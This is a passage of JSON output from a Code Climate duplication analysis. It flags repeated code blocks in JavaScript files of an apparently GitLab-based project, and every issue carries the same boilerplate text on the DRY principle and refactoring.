Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"cc2a5b7fe6f4a900c4690f4960b1d2ce","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/star.js","lines":{"begin":23,"end":27}},"remediation_points":480000,"other_locations":[{"path":"app/assets/javascripts/star.js","lines":{"begin":19,"end":23}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 51**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"cc2a5b7fe6f4a900c4690f4960b1d2ce","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/groups/store/groups_store.js","lines":{"begin":102,"end":104}},"remediation_points":450000,"other_locations":[{"path":"app/assets/javascripts/boards/stores/modal_store.js","lines":{"begin":71,"end":74}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e9ffa7b55a2d3d697297bb9c77d9e0c8","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/boards/stores/modal_store.js","lines":{"begin":71,"end":74}},"remediation_points":450000,"other_locations":[{"path":"app/assets/javascripts/groups/store/groups_store.js","lines":{"begin":102,"end":104}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"cae962d929e29ddbbe69117801f17860","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/groups/issues/index.js","lines":{"begin":6,"end":13}},"remediation_points":450000,"other_locations":[{"path":"app/assets/javascripts/pages/groups/merge_requests/index.js","lines":{"begin":6,"end":13}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"65a33b3fe4ae20436c9fb46d65d9db04","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/groups/merge_requests/index.js","lines":{"begin":6,"end":13}},"remediation_points":450000,"other_locations":[{"path":"app/assets/javascripts/pages/groups/issues/index.js","lines":{"begin":6,"end":13}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1b0f3dfb819efd869e74a58517390763","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pipelines/pipeline_details_mediator.js","lines":{"begin":55,"end":58}},"remediation_points":450000,"other_locations":[{"path":"app/assets/javascripts/jobs/job_details_mediator.js","lines":{"begin":51,"end":54}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ed657cc5e6969316c8bd1d2be6204668","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/jobs/job_details_mediator.js","lines":{"begin":51,"end":54}},"remediation_points":450000,"other_locations":[{"path":"app/assets/javascripts/pipelines/pipeline_details_mediator.js","lines":{"begin":55,"end":58}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3da1a06772dc32dbbb550900c97f6cbd","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":125,"end":130}},"remediation_points":420000,"other_locations":[{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":154,"end":159}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 49**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f6c22427e43838beefc533b33cde9955","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":154,"end":159}},"remediation_points":420000,"other_locations":[{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":125,"end":130}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 49**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f6c22427e43838beefc533b33cde9955","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/deploy_keys/service/index.js","lines":{"begin":15,"end":18}},"remediation_points":420000,"other_locations":[{"path":"app/assets/javascripts/deploy_keys/service/index.js","lines":{"begin":20,"end":23}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 49**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5eaf7d9cd8339dca959f74f384e02906","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/deploy_keys/service/index.js","lines":{"begin":20,"end":23}},"remediation_points":420000,"other_locations":[{"path":"app/assets/javascripts/deploy_keys/service/index.js","lines":{"begin":15,"end":18}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 49**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5eaf7d9cd8339dca959f74f384e02906","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":146,"end":148}},"remediation_points":420000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":250,"end":252}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 49**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"70155684217b5724087f40626f7766bc","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":250,"end":252}},"remediation_points":420000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":146,"end":148}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 49**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat 